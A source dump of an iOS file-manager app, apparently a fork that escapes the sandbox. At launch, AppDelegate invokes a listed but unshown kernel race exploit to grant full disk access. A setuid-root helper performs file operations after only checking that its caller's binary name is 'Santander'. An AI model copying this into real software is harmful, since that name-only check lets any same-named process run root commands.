Showing preview only (541K chars total). Download the full file or copy to clipboard to get everything.
Repository: haxi0/SantanderEscaped
Branch: main
Commit: f89f275d15ea
Files: 80
Total size: 511.7 KB
Directory structure:
gitextract_qv0ndjc7/
├── .github/
│ └── workflows/
│ └── build.yml
├── .gitignore
├── LICENSE.md
├── Makefile
├── README.md
├── RootHelper/
│ ├── Commands.swift
│ ├── Extensions.swift
│ └── main.swift
├── Santander/
│ ├── AppDelegate.swift
│ ├── Assets.xcassets/
│ │ ├── AccentColor.colorset/
│ │ │ └── Contents.json
│ │ ├── AppIcon.appiconset/
│ │ │ └── Contents.json
│ │ └── Contents.json
│ ├── Base.lproj/
│ │ └── LaunchScreen.storyboard
│ ├── Info.plist
│ ├── Other/
│ │ ├── Alert++.swift
│ │ ├── BaseLayoutAnchorSupporting.swift
│ │ ├── DiffableDataSourceItem.swift
│ │ ├── DirectoryMonitor.swift
│ │ ├── Exploit/
│ │ │ ├── grant_full_disk_access.h
│ │ │ ├── grant_full_disk_access.m
│ │ │ ├── helpers.h
│ │ │ ├── helpers.m
│ │ │ ├── vm_unaligned_copy_switch_race.c
│ │ │ └── vm_unaligned_copy_switch_race.h
│ │ ├── Extensions.swift
│ │ ├── GoToItem.swift
│ │ ├── ImageMetadata.swift
│ │ ├── LoadingValueState.swift
│ │ ├── Path.swift
│ │ ├── PathMetadata.swift
│ │ ├── PathTransitioning.swift
│ │ ├── PathType.swift
│ │ ├── PathsSortMethods.swift
│ │ ├── Permissions.swift
│ │ ├── Preferences/
│ │ │ ├── Storage.swift
│ │ │ └── UserPreferences.swift
│ │ ├── RootHelper.swift
│ │ └── SantanderHeader.h
│ ├── SceneDelegate.swift
│ └── UI/
│ ├── AppInfoViewController.swift
│ ├── Editors/
│ │ ├── AssetCatalog/
│ │ │ ├── AssetCatalogCell.swift
│ │ │ ├── AssetCatalogDetailsView.swift
│ │ │ ├── AssetCatalogGridPreviewCell.swift
│ │ │ ├── AssetCatalogRenditionViewController.swift
│ │ │ ├── AssetCatalogSectionHeader.swift
│ │ │ ├── AssetCatalogSidebarListView.swift
│ │ │ └── AssetCatalogViewController.swift
│ │ ├── Audio/
│ │ │ ├── AudioPlayerToolbarView.swift
│ │ │ └── AudioPlayerViewController.swift
│ │ ├── BinaryExecutionViewController.swift
│ │ ├── FileEditorType.swift
│ │ ├── Font/
│ │ │ ├── FontInformationViewController.swift
│ │ │ └── FontViewerController.swift
│ │ ├── Image/
│ │ │ ├── ImageLocationEditorViewController.swift
│ │ │ ├── ImageMetadataViewController.swift
│ │ │ └── ImageViewerController.swift
│ │ ├── Serialized/
│ │ │ ├── SerializedArrayViewController.swift
│ │ │ ├── SerializedDocumentViewController.swift
│ │ │ ├── SerializedItemType.swift
│ │ │ └── SerializedItemViewController.swift
│ │ └── TextEditor/
│ │ ├── KeyboardSearchView.swift
│ │ ├── KeyboardToolsView.swift
│ │ ├── TextEditorThemeSettingsViewController.swift
│ │ ├── TextFileEditorViewController.swift
│ │ └── Themes.swift
│ ├── FilePreviewDataSource.swift
│ ├── Path/
│ │ ├── DragAndDrop.swift
│ │ ├── PathGroupOwnerViewController.swift
│ │ ├── PathInformationTableViewController.swift
│ │ ├── PathListViewController.swift
│ │ ├── PathOperationViewController.swift
│ │ ├── PathPermissionsViewController.swift
│ │ ├── PathSidebarListViewController.swift
│ │ ├── Search.swift
│ │ └── ToolbarItems.swift
│ ├── SettingsTableViewController.swift
│ └── TypeSelectionViewController.swift
├── Santander.xcodeproj/
│ └── project.pbxproj
├── entitlements-TS.plist
└── entitlements.plist
================================================
FILE CONTENTS
================================================
================================================
FILE: .github/workflows/build.yml
================================================
name: CI
on:
push:
branches:
- main
- serena/root-helper-proper
paths-ignore:
- '**/*.md'
- 'README.md'
- '.gitignore'
pull_request:
branches:
- main
paths-ignore:
- '**/*.md'
- 'README.md'
- '.gitignore'
workflow_dispatch:
jobs:
build:
name: Build
runs-on: macos-12
steps:
- name: Checkout
uses: actions/checkout@v3
- name: Set up Procursus
uses: beerpiss/procursus-action@v2
with:
packages: ldid
cache: true
cache-path: ~/__cache
- name: Select Xcode version (14.0)
run: |
sudo xcode-select --switch /Applications/Xcode_14.0.app
- name: Build IPA
run: |
make
- name: Permasign IPA
uses: permasigner/action@v1.1.0
with:
input: "${{ github.workspace }}/build/Santander.ipa"
output: "${{ github.workspace }}/build/Santander.deb"
entitlements: "${{ github.workspace }}/entitlements-TS.plist"
args: "--author Serena"
- name: Upload IPA
uses: actions/upload-artifact@v3.1.0
with:
name: SantanderJailed
path: ${{ github.workspace }}/build/SantanderJailed.ipa
- name: Upload IPA for TrollStore
uses: actions/upload-artifact@v3.1.0
with:
name: SantanderTrollStore
path: ${{ github.workspace }}/build/SantanderTrollStore.tipa
- name: Upload Permasigned deb
uses: actions/upload-artifact@v3.1.0
with:
name: SantanderJailbroken
path: ${{ github.workspace }}/build/Santander.deb
================================================
FILE: .gitignore
================================================
Santander.xcodeproj/xcuserdata/*
Santander.xcodeproj/project.xcworkspace/xcshareddata/swiftpm/Package.resolved
Santander.xcodeproj/project.xcworkspace/xcuserdata/*
.DS_Store
build/
================================================
FILE: LICENSE.md
================================================
MIT License
Copyright (c) 2022 Serena
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
================================================
FILE: Makefile
================================================
# Shamelessly stolen from https://github.com/elihwyma/Pogo/blob/main/Makefile
TARGET_CODESIGN = $(shell which ldid)
APP_TMP = $(TMPDIR)/santander
APP_STAGE_DIR = $(APP_TMP)/stage
APP_APP_DIR = $(APP_TMP)/Build/Products/Release-iphoneos/Santander.app
APP_HELPER_PATH = $(APP_TMP)/Build/Products/Release-iphoneos/RootHelper
package:
@set -o pipefail; \
xcodebuild -quiet -jobs $(shell sysctl -n hw.ncpu) -project 'Santander.xcodeproj' -scheme Santander -configuration Release -arch arm64 -sdk iphoneos -derivedDataPath $(APP_TMP) \
CODE_SIGNING_ALLOWED=NO DSTROOT=$(APP_TMP)/install ALWAYS_EMBED_SWIFT_STANDARD_LIBRARIES=NO
@set -o pipefail; \
xcodebuild -quiet -jobs $(shell sysctl -n hw.ncpu) -project 'Santander.xcodeproj' -scheme RootHelper -configuration Release -arch arm64 -sdk iphoneos -derivedDataPath $(APP_TMP) \
CODE_SIGNING_ALLOWED=NO DSTROOT=$(APP_TMP)/install ALWAYS_EMBED_SWIFT_STANDARD_LIBRARIES=NO
@rm -rf Payload
@rm -rf $(APP_STAGE_DIR)/
@mkdir -p $(APP_STAGE_DIR)/Payload $(APP_STAGE_DIR)/JailedPayload $(APP_STAGE_DIR)/TSPayload
@mv $(APP_APP_DIR) $(APP_STAGE_DIR)/Payload/Santander.app
@cp -r $(APP_STAGE_DIR)/Payload/Santander.app $(APP_STAGE_DIR)/JailedPayload/SantanderJailed.app
@mv $(APP_HELPER_PATH) $(APP_STAGE_DIR)/Payload/Santander.app/RootHelper
@$(TARGET_CODESIGN) -Sentitlements.plist $(APP_STAGE_DIR)/Payload/Santander.app/
@$(TARGET_CODESIGN) -Sentitlements.plist $(APP_STAGE_DIR)/Payload/Santander.app/RootHelper
@rm -rf $(APP_STAGE_DIR)/Payload/Santander.app/_CodeSignature
@cp -r $(APP_STAGE_DIR)/Payload/Santander.app $(APP_STAGE_DIR)/TSPayload/SantanderTS.app
@$(TARGET_CODESIGN) -Sentitlements-TS.plist $(APP_STAGE_DIR)/TSPayload/SantanderTS.app/
@$(TARGET_CODESIGN) -Sentitlements-TS.plist $(APP_STAGE_DIR)/TSPayload/SantanderTS.app/RootHelper
chmod 6755 $(APP_STAGE_DIR)/Payload/Santander.app/RootHelper
chmod 6755 $(APP_STAGE_DIR)/TSPayload/SantanderTS.app/RootHelper
@ln -sf $(APP_STAGE_DIR)/Payload Payload
@ln -sf $(APP_STAGE_DIR)/JailedPayload JailedPayload
@ln -sf $(APP_STAGE_DIR)/TSPayload TSPayload
@rm -rf build
@mkdir -p build
@zip -r9 build/Santander.ipa Payload
@rm -rf Payload
@mv TSPayload Payload
@zip -r9 build/SantanderTrollStore.tipa Payload
@rm -rf Payload
@mv JailedPayload Payload
@zip -r9 build/SantanderJailed.ipa Payload
@rm -rf Payload
================================================
FILE: README.md
================================================
# Santander
A new, enhanced File Manager for iOS devices with MDC support

Santander aims to enhance the experience of a file manager on an iOS device, using modern and familiar UI alongside new APIs.
# Credits
https://gist.github.com/zhuowei/bc7a90bdc520556fda84d33e0583eb3e https://github.com/ginsudev/WDBFontOverwrite/blob/main/WDBFontOverwrite/vm_unaligned_copy_switch_race.c - zhuowei
https://bugs.chromium.org/p/project-zero/issues/detail?id=2361 - Ian Beer
https://gist.github.com/Avangelista/bf2fa5319f8920fcc09ea061ecb56cf3 - Avangelista
https://github.com/SerenaKit/Santander - Serena :3
# Notice
The project is still in beta, and there still quite a lot of bugs to fix & enhancements to make.
================================================
FILE: RootHelper/Commands.swift
================================================
//
// Commands.swift
// RootHelper
//
// Created by Serena on 10/11/2022
//
import Foundation
import ArgumentParser
import CompressionWrapper
import os
import AssetCatalogWrapper
struct Delete: ParsableCommand {
@Argument(help: "The paths to delete.")
var paths: [URL]
func run() throws {
for path in paths {
try FileManager.default.removeItem(at: path)
}
}
}
struct SetOwnerOrGroup: ParsableCommand {
@Argument(help: "The path to set the owner and/or group for.")
var path: URL
@Option(help: "The name of the group to set.")
var groupName: String?
@Option(help: "The name of the owner to set for this path.")
var ownerName: String?
func run() throws {
if let groupName = groupName {
try FileManager.default.setAttributes([.groupOwnerAccountName: groupName], ofItemAtPath: path.path)
}
if let ownerName = ownerName {
try FileManager.default.setAttributes([.ownerAccountName: ownerName], ofItemAtPath: path.path)
}
}
}
struct Create: ParsableCommand {
@Option(help: "The directories to create.")
var directories: [URL] = []
@Option(help: "The files to create")
var files: [URL] = []
func run() throws {
for dir in directories {
try FileManager.default.createDirectory(at: dir, withIntermediateDirectories: true)
}
for file in files {
// mode a: create if doesn't exist
let fPtr = try file.withUnsafeFileSystemRepresentation { cPathPointer in
guard let cPathPointer, let fPtr = fopen(cPathPointer, "a") else {
throw StringError("Failed to create file \(file): \(String(cString: strerror(errno)))")
}
return fPtr
}
fclose(fPtr)
}
}
}
struct Move: ParsableCommand {
@Argument(help: "The paths to move.")
var paths: [URL]
@Option(help: "The destination directory to move the paths into")
var destination: URL
func run() throws {
for path in paths {
try FileManager.default.moveItem(at: path, to: destination.appendingPathComponent(path.lastPathComponent))
}
}
}
struct Copy: ParsableCommand {
@Argument(help: "The paths to copy")
var paths: [URL]
@Option(help: "The destination to copy the paths to.")
var destination: URL
func run() throws {
for path in paths {
try FileManager.default.copyItem(at: path, to: destination.appendingPathComponent(path.lastPathComponent))
}
}
}
struct Rename: ParsableCommand {
@Argument(help: "The path to rename.")
var path: URL
@Argument(help: "The new path.")
var destination: URL
func run() throws {
try FileManager.default.moveItem(at: path, to: destination)
}
}
struct Link: ParsableCommand {
@Argument(help: "The paths to link.")
var paths: [URL]
@Option(help: "The destination")
var destination: URL
func run() throws {
for path in paths {
try FileManager.default.createSymbolicLink(at: destination.appendingPathComponent(path.lastPathComponent), withDestinationURL: path)
}
}
}
struct SetPermissions: ParsableCommand {
@Argument(help: "The path to set the permisions for.")
var path: URL
@Argument(help: "The permissions to set.")
var permissions: Int
func run() throws {
try FileManager.default.setAttributes([.posixPermissions: permissions], ofItemAtPath: path.path)
}
}
struct WriteData: ParsableCommand {
@Argument(help: "The path to write the data into.")
var path: URL
func run() throws {
NSLog("availableData: \(FileHandle.standardInput.availableData)")
}
}
struct WriteString: ParsableCommand {
@Argument(help: "The string to write.")
var string: String
@Option(help: "The path to write the string to.")
var path: URL
func run() throws {
try string.write(to: path, atomically: true, encoding: .utf8)
}
}
struct Compress: ParsableCommand {
@Option(help: "The paths to compress")
var paths: [URL]
@Option(help: "The destination of the compressed paths")
var destination: URL
@Option(help: "The compression format to use.")
var format: Compression.FormatType = .zip
func run() throws {
try Compression.shared.compress(paths: paths, outputPath: destination, format: format)
}
}
struct Decompress: ParsableCommand {
@Argument(help: "The path to decompress.")
var path: URL
@Option(help: "The destination path.")
var destination: URL
func run() throws {
try Compression.shared.extract(path: path, to: destination)
}
}
struct ExtractCatalog: ParsableCommand {
@Argument(help: "The path of the asset catalog file to extract.")
var path: URL
@Option(help: "The destination")
var destination: URL
func run() throws {
let (_, renditions) = try AssetCatalogWrapper.shared.renditions(forCarArchive: path)
let codable = renditions.flatMap(\.renditions).toCodable()
try FileManager.default.createDirectory(at: destination, withIntermediateDirectories: true)
var failedItems: [String: String] = [:]
for rend in codable {
let newURL = destination.appendingPathComponent(rend.renditionName)
if let data = rend.itemData {
do {
try data.write(to: newURL)
} catch {
failedItems[rend.renditionName] = "Unable to write item data to file: \(error.localizedDescription)"
}
}
}
if !failedItems.isEmpty {
var message: String = ""
for (item, error) in failedItems {
message.append("\(item): \(error)")
}
throw StringError(message.trimmingCharacters(in: .whitespacesAndNewlines))
}
}
}
struct GetContents: ParsableCommand {
@Argument(help: "The path to get the contents of.")
var path: URL
func run() throws {
let contents = try FileManager.default.contentsOfDirectory(at: path, includingPropertiesForKeys: nil)
fputs(contents.map(\.path).joined(separator: " "), stdout)
}
}
================================================
FILE: RootHelper/Extensions.swift
================================================
//
// Extensions.swift
// RootHelper
//
// Created by Serena on 10/11/2022
//
import Foundation
import ArgumentParser
import CompressionWrapper
extension URL: ExpressibleByArgument {
public init?(argument: String) {
self.init(fileURLWithPath: argument)
}
}
// not an extension, but useful
struct StringError: LocalizedError, CustomStringConvertible {
let description: String
init(_ description: String) {
self.description = description
}
var errorDescription: String? {
description
}
}
extension Compression.FormatType: ExpressibleByArgument {
public init?(argument: String) {
switch argument {
case "zip":
self = .zip
case "tar":
self = .tar
default:
return nil
}
}
}
================================================
FILE: RootHelper/main.swift
================================================
//
// main.swift
// RootHelper
//
// Created by Serena on 17/10/2022
//
import ArgumentParser
import Foundation
import NSTask // proc_pidpath
// get the parent caller, and make sure it's Santander, otherwise, gtfo
var buffer = [CChar](repeating: 0, count: 1024)
proc_pidpath(getppid(), &buffer, 1024)
let path = URL(fileURLWithPath: String(cString: buffer))
// We don't verify the whole path as /Applications/Santander.app/Santander, if we did that
// then this root helper would have to be modified on forks like the TrollStore one,
// where the .app name & path are different
// instead, we make sure that the binary name (which should ALWAYS be 'Santander') is correct.
guard path.lastPathComponent == "Santander" else {
fatalError("Incorrect parent calling, goodbye!")
}
//NSLog("FileHandle.standardInput.availableData.count: \(FileHandle.standardInput.availableData.count)")
setuid(0)
setgid(0)
guard getuid() == 0 else {
fputs("getuid() returned a uid that wasn't 0, in other words, we werent able to get root.", stderr)
exit(-1)
}
struct Program: ParsableCommand {
static let configuration: CommandConfiguration = CommandConfiguration(
subcommands: [
Create.self,
Delete.self,
Move.self,
Copy.self,
Link.self,
Rename.self,
SetOwnerOrGroup.self,
SetPermissions.self,
Compress.self,
Decompress.self,
WriteData.self,
WriteString.self,
GetContents.self
]
)
}
do {
var command = try Program.parseAsRoot(nil)
try command.run()
} catch {
fputs(error.localizedDescription, stderr)
exit(-1)
}
================================================
FILE: Santander/AppDelegate.swift
================================================
//
// AppDelegate.swift
// Santander
//
// Created by Serena on 21/06/2022
//
import UIKit
@main
class AppDelegate: UIResponder, UIApplicationDelegate {
func application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey: Any]?) -> Bool {
// Override point for customization after application launch.
UIApplication.shared.alert(title: "pwning", body: "wait", withButton: false)
grant_full_disk_access() { error in
UIApplication.shared.dismissAlert(animated: false)
UIApplication.shared.alert(title: "pwned", body: error?.localizedDescription ?? "no errors while pwning")
}
if UserPreferences.displayRecentlyBookmarked {
application.setShortcutItems(intoURLs: UserPreferences.bookmarks)
} else {
application.shortcutItems = []
}
return true
}
// MARK: UISceneSession Lifecycle
func application(_ application: UIApplication, configurationForConnecting connectingSceneSession: UISceneSession, options: UIScene.ConnectionOptions) -> UISceneConfiguration {
// Called when a new scene session is being created.
// Use this method to select a configuration to create the new scene with.
return UISceneConfiguration(name: "Default Configuration", sessionRole: connectingSceneSession.role)
}
func application(_ application: UIApplication, didDiscardSceneSessions sceneSessions: Set<UISceneSession>) {
// Called when the user discards a scene session.
// If any sessions were discarded while the application was not running, this will be called shortly after application:didFinishLaunchingWithOptions.
// Use this method to release any resources that were specific to the discarded scenes, as they will not return.
}
}
================================================
FILE: Santander/Assets.xcassets/AccentColor.colorset/Contents.json
================================================
{
"colors" : [
{
"idiom" : "universal"
}
],
"info" : {
"author" : "xcode",
"version" : 1
}
}
================================================
FILE: Santander/Assets.xcassets/AppIcon.appiconset/Contents.json
================================================
{
"images" : [
{
"filename" : "40.png",
"idiom" : "iphone",
"scale" : "2x",
"size" : "20x20"
},
{
"filename" : "60.png",
"idiom" : "iphone",
"scale" : "3x",
"size" : "20x20"
},
{
"filename" : "29.png",
"idiom" : "iphone",
"scale" : "1x",
"size" : "29x29"
},
{
"filename" : "58.png",
"idiom" : "iphone",
"scale" : "2x",
"size" : "29x29"
},
{
"filename" : "87.png",
"idiom" : "iphone",
"scale" : "3x",
"size" : "29x29"
},
{
"filename" : "80.png",
"idiom" : "iphone",
"scale" : "2x",
"size" : "40x40"
},
{
"filename" : "120.png",
"idiom" : "iphone",
"scale" : "3x",
"size" : "40x40"
},
{
"filename" : "57.png",
"idiom" : "iphone",
"scale" : "1x",
"size" : "57x57"
},
{
"filename" : "114.png",
"idiom" : "iphone",
"scale" : "2x",
"size" : "57x57"
},
{
"filename" : "120.png",
"idiom" : "iphone",
"scale" : "2x",
"size" : "60x60"
},
{
"filename" : "180.png",
"idiom" : "iphone",
"scale" : "3x",
"size" : "60x60"
},
{
"filename" : "20.png",
"idiom" : "ipad",
"scale" : "1x",
"size" : "20x20"
},
{
"filename" : "40.png",
"idiom" : "ipad",
"scale" : "2x",
"size" : "20x20"
},
{
"filename" : "29.png",
"idiom" : "ipad",
"scale" : "1x",
"size" : "29x29"
},
{
"filename" : "58.png",
"idiom" : "ipad",
"scale" : "2x",
"size" : "29x29"
},
{
"filename" : "40.png",
"idiom" : "ipad",
"scale" : "1x",
"size" : "40x40"
},
{
"filename" : "80.png",
"idiom" : "ipad",
"scale" : "2x",
"size" : "40x40"
},
{
"filename" : "50.png",
"idiom" : "ipad",
"scale" : "1x",
"size" : "50x50"
},
{
"filename" : "100.png",
"idiom" : "ipad",
"scale" : "2x",
"size" : "50x50"
},
{
"filename" : "72.png",
"idiom" : "ipad",
"scale" : "1x",
"size" : "72x72"
},
{
"filename" : "144.png",
"idiom" : "ipad",
"scale" : "2x",
"size" : "72x72"
},
{
"filename" : "76.png",
"idiom" : "ipad",
"scale" : "1x",
"size" : "76x76"
},
{
"filename" : "152.png",
"idiom" : "ipad",
"scale" : "2x",
"size" : "76x76"
},
{
"filename" : "167.png",
"idiom" : "ipad",
"scale" : "2x",
"size" : "83.5x83.5"
},
{
"filename" : "1024.png",
"idiom" : "ios-marketing",
"scale" : "1x",
"size" : "1024x1024"
},
{
"filename" : "16.png",
"idiom" : "mac",
"scale" : "1x",
"size" : "16x16"
},
{
"filename" : "32.png",
"idiom" : "mac",
"scale" : "2x",
"size" : "16x16"
},
{
"filename" : "32.png",
"idiom" : "mac",
"scale" : "1x",
"size" : "32x32"
},
{
"filename" : "64.png",
"idiom" : "mac",
"scale" : "2x",
"size" : "32x32"
},
{
"filename" : "128.png",
"idiom" : "mac",
"scale" : "1x",
"size" : "128x128"
},
{
"filename" : "256.png",
"idiom" : "mac",
"scale" : "2x",
"size" : "128x128"
},
{
"filename" : "256.png",
"idiom" : "mac",
"scale" : "1x",
"size" : "256x256"
},
{
"filename" : "512.png",
"idiom" : "mac",
"scale" : "2x",
"size" : "256x256"
},
{
"filename" : "512.png",
"idiom" : "mac",
"scale" : "1x",
"size" : "512x512"
},
{
"filename" : "1024.png",
"idiom" : "mac",
"scale" : "2x",
"size" : "512x512"
},
{
"filename" : "48.png",
"idiom" : "watch",
"role" : "notificationCenter",
"scale" : "2x",
"size" : "24x24",
"subtype" : "38mm"
},
{
"filename" : "55.png",
"idiom" : "watch",
"role" : "notificationCenter",
"scale" : "2x",
"size" : "27.5x27.5",
"subtype" : "42mm"
},
{
"filename" : "58.png",
"idiom" : "watch",
"role" : "companionSettings",
"scale" : "2x",
"size" : "29x29"
},
{
"filename" : "87.png",
"idiom" : "watch",
"role" : "companionSettings",
"scale" : "3x",
"size" : "29x29"
},
{
"idiom" : "watch",
"role" : "notificationCenter",
"scale" : "2x",
"size" : "33x33",
"subtype" : "45mm"
},
{
"filename" : "80.png",
"idiom" : "watch",
"role" : "appLauncher",
"scale" : "2x",
"size" : "40x40",
"subtype" : "38mm"
},
{
"filename" : "88.png",
"idiom" : "watch",
"role" : "appLauncher",
"scale" : "2x",
"size" : "44x44",
"subtype" : "40mm"
},
{
"idiom" : "watch",
"role" : "appLauncher",
"scale" : "2x",
"size" : "46x46",
"subtype" : "41mm"
},
{
"filename" : "100.png",
"idiom" : "watch",
"role" : "appLauncher",
"scale" : "2x",
"size" : "50x50",
"subtype" : "44mm"
},
{
"idiom" : "watch",
"role" : "appLauncher",
"scale" : "2x",
"size" : "51x51",
"subtype" : "45mm"
},
{
"idiom" : "watch",
"role" : "appLauncher",
"scale" : "2x",
"size" : "54x54",
"subtype" : "49mm"
},
{
"filename" : "172.png",
"idiom" : "watch",
"role" : "quickLook",
"scale" : "2x",
"size" : "86x86",
"subtype" : "38mm"
},
{
"filename" : "196.png",
"idiom" : "watch",
"role" : "quickLook",
"scale" : "2x",
"size" : "98x98",
"subtype" : "42mm"
},
{
"filename" : "216.png",
"idiom" : "watch",
"role" : "quickLook",
"scale" : "2x",
"size" : "108x108",
"subtype" : "44mm"
},
{
"idiom" : "watch",
"role" : "quickLook",
"scale" : "2x",
"size" : "117x117",
"subtype" : "45mm"
},
{
"idiom" : "watch",
"role" : "quickLook",
"scale" : "2x",
"size" : "129x129",
"subtype" : "49mm"
},
{
"filename" : "1024.png",
"idiom" : "watch-marketing",
"scale" : "1x",
"size" : "1024x1024"
}
],
"info" : {
"author" : "xcode",
"version" : 1
}
}
================================================
FILE: Santander/Assets.xcassets/Contents.json
================================================
{
"info" : {
"author" : "xcode",
"version" : 1
}
}
================================================
FILE: Santander/Base.lproj/LaunchScreen.storyboard
================================================
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<document type="com.apple.InterfaceBuilder3.CocoaTouch.Storyboard.XIB" version="3.0" toolsVersion="13122.16" targetRuntime="iOS.CocoaTouch" propertyAccessControl="none" useAutolayout="YES" launchScreen="YES" useTraitCollections="YES" useSafeAreas="YES" colorMatched="YES" initialViewController="01J-lp-oVM">
<dependencies>
<plugIn identifier="com.apple.InterfaceBuilder.IBCocoaTouchPlugin" version="13104.12"/>
<capability name="Safe area layout guides" minToolsVersion="9.0"/>
<capability name="documents saved in the Xcode 8 format" minToolsVersion="8.0"/>
</dependencies>
<scenes>
<!--View Controller-->
<scene sceneID="EHf-IW-A2E">
<objects>
<viewController id="01J-lp-oVM" sceneMemberID="viewController">
<view key="view" contentMode="scaleToFill" id="Ze5-6b-2t3">
<rect key="frame" x="0.0" y="0.0" width="375" height="667"/>
<autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/>
<color key="backgroundColor" xcode11CocoaTouchSystemColor="systemBackgroundColor" cocoaTouchSystemColor="whiteColor"/>
<viewLayoutGuide key="safeArea" id="6Tk-OE-BBY"/>
</view>
</viewController>
<placeholder placeholderIdentifier="IBFirstResponder" id="iYj-Kq-Ea1" userLabel="First Responder" sceneMemberID="firstResponder"/>
</objects>
<point key="canvasLocation" x="53" y="375"/>
</scene>
</scenes>
</document>
================================================
FILE: Santander/Info.plist
================================================
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleDocumentTypes</key>
<array>
<dict>
<key>CFBundleTypeName</key>
<string>Content</string>
<key>LSHandlerRank</key>
<string>Default</string>
<key>LSItemContentTypes</key>
<array>
<string>public.item</string>
</array>
</dict>
</array>
<key>CFBundleURLTypes</key>
<array>
<dict>
<key>CFBundleTypeRole</key>
<string>Editor</string>
<key>CFBundleURLSchemes</key>
<array>
<string>santander</string>
</array>
</dict>
</array>
<key>TSRootBinaries</key>
<array>
<string>RootHelper</string>
</array>
<key>UIApplicationSceneManifest</key>
<dict>
<key>UIApplicationSupportsMultipleScenes</key>
<false/>
<key>UISceneConfigurations</key>
<dict>
<key>UIWindowSceneSessionRoleApplication</key>
<array>
<dict>
<key>UISceneConfigurationName</key>
<string>Default Configuration</string>
<key>UISceneDelegateClassName</key>
<string>$(PRODUCT_MODULE_NAME).SceneDelegate</string>
</dict>
</array>
</dict>
</dict>
<key>UIBackgroundModes</key>
<array>
<string>audio</string>
</array>
<key>UTImportedTypeDeclarations</key>
<array>
<dict>
<key>UTTypeDescription</key>
<string>Represents any item which can be imported</string>
<key>UTTypeIconFiles</key>
<array/>
<key>UTTypeIdentifier</key>
<string>public.item</string>
<key>UTTypeTagSpecification</key>
<dict/>
</dict>
</array>
</dict>
</plist>
================================================
FILE: Santander/Other/Alert++.swift
================================================
//
// Alert++.swift
// Derootifier
//
// Created by Анохин Юрий on 15.04.2023.
//
import UIKit
var currentUIAlertController: UIAlertController?
extension UIApplication {
func dismissAlert(animated: Bool) {
DispatchQueue.main.async {
currentUIAlertController?.dismiss(animated: animated)
}
}
func alert(title: String, body: String, animated: Bool = true, withButton: Bool = true) {
DispatchQueue.main.async {
currentUIAlertController = UIAlertController(title: title, message: body, preferredStyle: .alert)
if withButton { currentUIAlertController?.addAction(.init(title: "OK", style: .cancel)) }
self.present(alert: currentUIAlertController!)
}
}
func confirmAlert(title: String, body: String, onOK: @escaping () -> (), noCancel: Bool) {
DispatchQueue.main.async {
currentUIAlertController = UIAlertController(title: title, message: body, preferredStyle: .alert)
if !noCancel {
currentUIAlertController?.addAction(.init(title: "Cancel", style: .cancel))
}
currentUIAlertController?.addAction(.init(title: "OK", style: noCancel ? .cancel : .default, handler: { _ in
onOK()
}))
self.present(alert: currentUIAlertController!)
}
}
func change(title: String, body: String) {
DispatchQueue.main.async {
currentUIAlertController?.title = title
currentUIAlertController?.message = body
}
}
func present(alert: UIAlertController) {
if var topController = self.windows[0].rootViewController {
while let presentedViewController = topController.presentedViewController {
topController = presentedViewController
}
topController.present(alert, animated: true)
// topController should now be your topmost view controller
}
}
}
================================================
FILE: Santander/Other/BaseLayoutAnchorSupporting.swift
================================================
//
// BaseLayoutAnchorSupporting.swift
// Santander
//
// Created by Serena on 08/10/2022
//
import UIKit
/// A Protocol defining the basic layout anchors of an object, such as UIView or a UILayoutGuide
protocol BaseLayoutAnchorSupporting {
var leadingAnchor: NSLayoutXAxisAnchor { get }
var trailingAnchor: NSLayoutXAxisAnchor { get }
var topAnchor: NSLayoutYAxisAnchor { get }
var bottomAnchor: NSLayoutYAxisAnchor { get }
}
extension UILayoutGuide: BaseLayoutAnchorSupporting {}
extension UIView: BaseLayoutAnchorSupporting {
/// Activates constraints which completely cover the other view with the current view
func constraintCompletely(to otherView: BaseLayoutAnchorSupporting) {
NSLayoutConstraint.activate([
self.leadingAnchor.constraint(equalTo: otherView.leadingAnchor),
self.trailingAnchor.constraint(equalTo: otherView.trailingAnchor),
self.topAnchor.constraint(equalTo: otherView.topAnchor),
self.bottomAnchor.constraint(equalTo: otherView.bottomAnchor)
])
}
}
================================================
FILE: Santander/Other/DiffableDataSourceItem.swift
================================================
//
// DiffableDataSourceItem.swift
// Santander
//
// Created by Serena on 04/11/2022
//
import UIKit
/// Describes a generic item for diffable data sources,
/// either being a section or an item
enum DiffableDataSourceItem<Section: Hashable, Item: Hashable> {
case section(Section)
case item(Item)
static func fromItems(_ items: [Item]) -> [DiffableDataSourceItem] {
return items.map { item in
return .item(item)
}
}
}
extension DiffableDataSourceItem: Hashable {}
================================================
FILE: Santander/Other/DirectoryMonitor.swift
================================================
//
// DirectoryMonitor.swift
// Santander
//
// Created by Serena on 27/06/2022
//
// Code originally written by Apple, modified for use by Serena A.
import Foundation
/// A protocol that allows delegates of `DirectoryMonitor` to respond to changes in a directory.
protocol DirectoryMonitorDelegate: AnyObject {
func directoryMonitorDidObserveChange(directoryMonitor: DirectoryMonitor)
}
class DirectoryMonitor {
// MARK: Properties
/// The `DirectoryMonitor`'s delegate who is responsible for responding to `DirectoryMonitor` updates.
weak var delegate: DirectoryMonitorDelegate?
/// A file descriptor for the monitored directory.
var monitoredDirectoryFileDescriptor: CInt = -1
/// A dispatch queue used for sending file changes in the directory.
let directoryMonitorQueue = DispatchQueue(label: "directorymonitor", attributes: .concurrent)
/// A dispatch source to monitor a file descriptor created from the directory.
